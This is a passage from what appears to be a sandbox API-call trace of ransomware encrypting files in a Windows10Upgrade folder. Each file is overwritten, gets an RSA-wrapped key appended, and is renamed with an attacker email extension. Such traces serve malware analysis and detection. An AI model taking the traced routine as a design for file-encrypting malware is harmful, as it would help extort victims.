pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0131.988] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0131.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="XM2NlU2tZw0LGrVM1yWmnvFxIecGX6EskTlOYhoFqKaGHHeQ8+gedJZLlKTxUSrH\nbTResb67IhXaX5B3fbo+abb2Z9AarqzOT88gF2x6wj97nk4PWQR4rjeLSfEom8R0\nnyl5os1TmBZFWbr5Xuj85NBstC4GTzIbOPEH/FDUVzL2Ec+424GMRmZ1pd6ez3Ig\nqFariJpSxBc7sZXBb8qk1u5KMGlb2x38x4FF1dLJ5B3hCoaqoEmonA6LdieGmJ3Q\nAGtrgWUad0AfzTRPqVr7+5O3gn4VIJXakvIfBteun5nT3YLjSP2EOZkmYInuZtTP\nYss2co76mfS8nfq3MdJPYw==\n", pcchString=0x2e3f9a8) returned 1 [0131.988] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0131.988] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0131.988] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0131.988] CloseHandle (hObject=0x470) returned 1 [0131.993] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0131.993] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DevInv.dll" (normalized: "c:\\windows10upgrade\\devinv.dll"), lpNewFileName="\\Windows10Upgrade\\DevInv.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\devinv.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0131.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0131.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0131.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0131.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0131.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0131.994] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0131.995] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0131.995] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\cosquery.dll", dwFileAttributes=0x80) returned 1 [0131.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0131.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0131.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0131.995] CreateFileW (lpFileName="\\Windows10Upgrade\\cosquery.dll" (normalized: "c:\\windows10upgrade\\cosquery.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0131.995] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=61640) returned 1 [0131.995] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0c8) returned 0x5d7830 [0131.996] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0c8) returned 0x5e6900 [0131.996] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0xf0c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0xf0c8, lpOverlapped=0x0) returned 1 [0132.029] SetFilePointer (in: hFile=0x470, lDistanceToMove=-61640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.029] WriteFile (in: hFile=0x470, lpBuffer=0x5e6900*, nNumberOfBytesToWrite=0xf0c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e6900*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf0c8, lpOverlapped=0x0) returned 1 [0132.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0132.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e6900 | out: hHeap=0x570000) returned 1 [0132.032] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf0c8 [0132.033] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.033] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.033] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.034] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.034] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="jZvFkAgbgdYW7DL7gNtzEZGPdSBATuUSaWzI8usZAQhqLu9QMGZgYXr3abE9QrtD\nn2/X/dElTIyJTT6VmZbHxyoRdQtyG4xW7gXruWy1NTuG724dNSzQsyaJlb25xNYf\nqnzMCEo6eKO5/NA1chj0+zJjAEAwNVMYKjl1BCAvJhZUndaTJ7YQLn+rV4YMedlA\n10wnWaTcVt0Yhg8MQK7Fr7884JJ3C5IAPWYQXR4bo9ZyDyiSoMcRpkBSkKDPPgdy\n3m405iQe6HUZ8tZ3ehuluF6JnkWBDAKGHsIrKohwXwcIMvDQpDjh3zEZoIH8l+XZ\nZYu1vwF/LJwZs7Y1aHu8CA==\n", pcchString=0x2e3f9a8) returned 1 [0132.034] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.034] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.034] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.034] CloseHandle (hObject=0x470) returned 1 [0132.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.036] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\cosquery.dll" (normalized: "c:\\windows10upgrade\\cosquery.dll"), lpNewFileName="\\Windows10Upgrade\\cosquery.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\cosquery.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0132.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0132.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.037] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.037] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\Configuration.ini", dwFileAttributes=0x80) returned 1 [0132.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0132.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0132.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.038] CreateFileW (lpFileName="\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0132.038] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=212) returned 1 [0132.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd4) returned 0x5b85a8 [0132.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd4) returned 0x5c1e98 [0132.038] ReadFile (in: hFile=0x470, lpBuffer=0x5b85a8, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b85a8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd4, lpOverlapped=0x0) returned 1 [0132.039] SetFilePointer (in: hFile=0x470, lDistanceToMove=-212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.039] WriteFile (in: hFile=0x470, lpBuffer=0x5c1e98*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1e98*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd4, lpOverlapped=0x0) returned 1 [0132.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0132.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0132.039] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd4 [0132.039] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.039] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.039] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.040] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.040] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="fGsFW9PhrYGWQ/O/OUiAYGzBm7+i+VFJPP3eQmmbee08kOa1YQik0M/AGUO7OWV4\noQTMI6B1EEGbsEcFQTJQgzQ8QQhnG6ClLG7SmXaZLfPoooWO55JVsxfzqnwgltGb\nQdrvhw0qAjuFiKwwiOXAzz+I5OLgURjlXki9pXzCCnag5/jEYTwWLtScKaJuV8v0\ndzDV/KaAZ4R17c3gsXujRZnGpK6AN9lJ0EgDXwmC9MDywHlfMisWnqBSQx4fGzp6\nPdMpTPpnrPUm99Adx+sWv99U5CtEmKKEyBVYnPYEf8IP4F73mJvgfg+aTFtgG3xQ\nuWDsD0XSeuS5xUyb5hV+sw==\n", pcchString=0x2e3f9a8) returned 1 [0132.040] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.040] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.040] CloseHandle (hObject=0x470) returned 1 [0132.042] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.042] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), lpNewFileName="\\Windows10Upgrade\\Configuration.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\configuration.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0132.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.043] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.043] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\bootsect.exe", dwFileAttributes=0x80) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0132.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0132.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0132.043] CreateFileW (lpFileName="\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0132.044] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=118472) returned 1 [0132.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cec8) returned 0x5d7830 [0132.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cec8) returned 0x5f4700 [0132.044] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x1cec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cec8, lpOverlapped=0x0) returned 1 [0132.080] SetFilePointer (in: hFile=0x470, lDistanceToMove=-118472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.080] WriteFile (in: hFile=0x470, lpBuffer=0x5f4700*, nNumberOfBytesToWrite=0x1cec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f4700*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cec8, lpOverlapped=0x0) returned 1 [0132.080] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0132.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f4700 | out: hHeap=0x570000) returned 1 [0132.083] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cec8 [0132.083] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.083] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.083] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.083] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.084] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.084] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.084] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="ceyJ3rqpEpsJLIOwhteamqdOYGLmJ6cKHwH7VDsF/BsQlCSBLCkynVO/wwU2tELN\n47T6DB6mEwlZ3rgBB0D40TTTIy7QEiZOwWTGSG0zn5U9mDbYmRGZAojZFGWNSEMr\n6e/JZGzVM0KXW4JRd4hVkKiQphoV82/KfiRQUfl7VYzoukonm1Tfz4rGjFM51zma\niZ4maf2dm8lrJ3ivx7nQfdIYnaS5CmPCXPBGB/o0aF30i/mZPnJynvI3F7NrSpih\nlrNojl1h5uRVvoZtYELxlmQHoTNQEPwxs2jNqZ/0/a7oLWnSNRBgCjhdAHIuQU6f\ns70n1nfkndsifJ1Z4s7eIA==\n", pcchString=0x2e3f9a8) returned 1 [0132.084] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.085] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.085] CloseHandle (hObject=0x470) returned 1 [0132.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.087] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), lpNewFileName="\\Windows10Upgrade\\bootsect.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\bootsect.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0132.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0132.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.089] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.089] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\appraiserxp.dll", dwFileAttributes=0x80) returned 1 [0132.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0132.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0132.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0132.089] CreateFileW (lpFileName="\\Windows10Upgrade\\appraiserxp.dll" (normalized: "c:\\windows10upgrade\\appraiserxp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0132.090] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=459976) returned 1 [0132.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x704c8) returned 0x2f40048 [0132.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x704c8) returned 0x2e40f20 [0132.147] ReadFile (in: hFile=0x470, lpBuffer=0x2f40048, nNumberOfBytesToRead=0x704c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x704c8, lpOverlapped=0x0) returned 1 [0132.261] SetFilePointer (in: hFile=0x470, lDistanceToMove=-459976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.261] WriteFile (in: hFile=0x470, lpBuffer=0x2e40f20*, nNumberOfBytesToWrite=0x704c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x704c8, lpOverlapped=0x0) returned 1 [0132.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0132.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.267] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x704c8 [0132.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.267] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="IOEdNex/dh6Ne86OtE8ESelO2apbevbT/JD5pvJm56s1zGpfSvW+OHEq2nVaoHmv\nd6ubettNKreBbPu6NmCVDrKPPxFp8BkybX9x67po6zs3DQ14PCtj+Imox0CaCxH6\nJCntCpYQBDvhObEsXPPCGCme4epQtSZxBVRFXb5ruYd19Ao1uKOp7oL7yCjIGK+1\nm9K2Z/swBwKoAMIxRGmE5cXjOUAYtMAFl0DHFumLaqNr/aVMqViVddiJlG95dRMU\nmJzdyAvkJz4p7IthXSniniNGuwTIp4LoPOgRjmZBxAt5zv+6SWca/Y+zClktTZym\nzz2acqAkD2xCe05emKN1Xw==\n", pcchString=0x2e3f9a8) returned 1 [0132.271] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.271] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.271] CloseHandle (hObject=0x470) returned 1 [0132.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.279] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\appraiserxp.dll" (normalized: "c:\\windows10upgrade\\appraiserxp.dll"), lpNewFileName="\\Windows10Upgrade\\appraiserxp.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\appraiserxp.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0132.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) 